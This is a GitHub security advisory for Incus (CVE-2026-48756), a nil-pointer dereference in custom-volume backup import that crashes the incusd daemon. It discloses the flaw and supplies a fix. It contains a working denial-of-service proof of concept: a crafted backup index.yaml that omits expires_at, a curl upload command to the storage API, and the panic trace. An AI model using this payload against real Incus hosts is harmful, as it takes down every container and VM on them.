Skip to content

Incus: CreateCustomVolumeFromBackup nil-pointer dereference on volume_snapshots[*].expires_at (sibling-field variant of GHSA-r7w7)

Low severity GitHub Reviewed Published May 28, 2026 in lxc/incus • Updated Jun 26, 2026

Package

gomod github.com/lxc/incus/v7/cmd/incusd (Go)

Affected versions

< 7.1.0

Patched versions

7.1.0

Description

Summary

(*backend).CreateCustomVolumeFromBackup in internal/server/storage/backend.go contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with can_create_storage_volumes permission on any project can crash the incusd daemon by uploading a backup tarball whose volume_snapshots[*].expires_at field is absent.

This is a sibling-field variant of GHSA-r7w7-mmxr-47r9 (CVE-2026-40197). Commit 985a1dedf9f3e7ba729c93b654905ed510de25c2 added if s == nil at the top of the loop body, but did not guard the adjacent *snapshot.ExpiresAt deref 19 lines later. Every other consumer of Config.VolumeSnapshots[i].ExpiresAt in this same file already gates the deref with a nil-check — the asymmetric guard is the bug.

Vulnerable code

internal/server/storage/backend.go, CreateCustomVolumeFromBackup:

// Line 7710-7714 — the parent fix from GHSA-r7w7
for _, s := range srcBackup.Config.VolumeSnapshots {
    if s == nil {
        return errors.New("Bad snapshot definition found in index")
    }
    snapshot := s
    snapName := snapshot.Name
    // ...
    // Line 7731 — UNGUARDED *time.Time deref:
    err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,
        snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,
        *snapshot.ExpiresAt,   // <-- panics when expires_at omitted in YAML
        snapVol.ContentType(), true, true)

ExpiresAt is declared *time.Time (shared/api/storage_pool_volume_snapshot.go:21,88). Every other consumer in the same file already uses the safe pattern:

Line Code Guarded?
909-910 CreateInstanceFromBackup YES
1134-1135 refresh path YES
1422-1423 migration path YES
7731 CreateCustomVolumeFromBackup NO

Reach

  1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the can_create_storage_volumes entitlement on any project. Same auth gate as parent GHSA-r7w7.
  2. POST /1.0/storage-pools/<pool>/volumes/custom with Content-Type: application/octet-stream and X-Incus-name: <name>.
  3. Body is a tar containing backup/index.yaml with type: custom, a non-nil volume: block, and volume_snapshots: [{name: snap0}] (no expires_at field).
  4. cmd/incusd/storage_volumes.go:storagePoolVolumesPost -> backup.GetInfo parses the yaml -> pool.CreateCustomVolumeFromBackup -> the s == nil guard at 7712 passes (snapshot pointer is non-nil) -> *snapshot.ExpiresAt on line 7731 panics on the nil *time.Time.
  5. No recover() is installed in the operation runner, so the panic kills the entire incusd process. Repeated POSTs are a persistent denial of service.

Minimal backup/index.yaml:

name: poc-vol
backend: dir
pool: default
type: custom
optimized: false
optimized_header: false
snapshots: [snap0]
config:
  volume: {name: poc-vol, type: custom, content_type: filesystem, config: {}}
  volume_snapshots:
    - name: snap0
      description: snap0
      config: {}
      # expires_at intentionally omitted

Proof of concept (end-to-end against running daemon)

Bundled in the report: make_backup.sh + the resulting 479-byte poc-vol.tar.gz.

Tested against incus 7.0.0 (zabbly latest GA at time of report; build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with the default dir storage pool.

$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \
    --data-binary @/tmp/poc-vol.tar.gz \
    -H 'Content-Type: application/octet-stream' \
    -H 'X-Incus-name: poc-vol' \
    http://incus/1.0/storage-pools/default/volumes/custom
{"type":"async","status":"Operation created","status_code":100,...}

$ ps -ef | grep incusd | grep -v grep    # process is GONE

Daemon panic from /tmp/incus.out:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x162b938]

goroutine 422 [running]:
github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...)
    /build/incus/internal/server/storage/backend.go:7731 +0xb48
main.createStoragePoolVolumeFromBackup.func7(...)
    /build/incus/cmd/incusd/storage_volumes.go:2915 +0x290
github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)
    /build/incus/internal/server/operations/operations.go:307 +0x2c
created by github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start in goroutine 408
    /build/incus/internal/server/operations/operations.go:306 +0x168

Stack frame backend.go:7731 is the literal *snapshot.ExpiresAt line. Same line in v6.0.x LTS is backend.go:7271 (also panics; v6.0.x additionally lacks the s == nil parent fix so a single nil snapshot pointer also panics there).

Impact

  • Severity: denial of service against the entire incusd process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.
  • Privileges required: any authenticated user with can_create_storage_volumes on any project. Not behind the admin tier.
  • Network attack surface: the Incus REST API on :8443 or the unix socket.
  • CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Suggested fix

Mirror the guard pattern already in use at lines 909-910 / 1134-1135 / 1422-1423:

--- a/internal/server/storage/backend.go
+++ b/internal/server/storage/backend.go
@@ -7728,9 +7728,14 @@ func (b *backend) CreateCustomVolumeFromBackup(...) error {
         snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)

         // Validate config and create database entry for new storage volume.
         // Strip unsupported config keys (in case the export was made from a different type of storage pool).
-        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
+        var snapExpiryDate time.Time
+        if snapshot.ExpiresAt != nil {
+            snapExpiryDate = *snapshot.ExpiresAt
+        }
+
+        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)
         if err != nil {
             return err
         }

Reporter notes

Reported via Privately-Reported Vulnerability against lxc/incus by tonghuaroot.

References

@stgraber stgraber published to lxc/incus May 28, 2026
Published to the GitHub Advisory Database Jun 26, 2026
Reviewed Jun 26, 2026
Last updated Jun 26, 2026

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(8th percentile)

Weaknesses

NULL Pointer Dereference

The product dereferences a pointer that it expects to be valid but is NULL. Learn more on MITRE.

CVE ID

CVE-2026-48756

GHSA ID

GHSA-xhqx-mgh3-3h7q

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.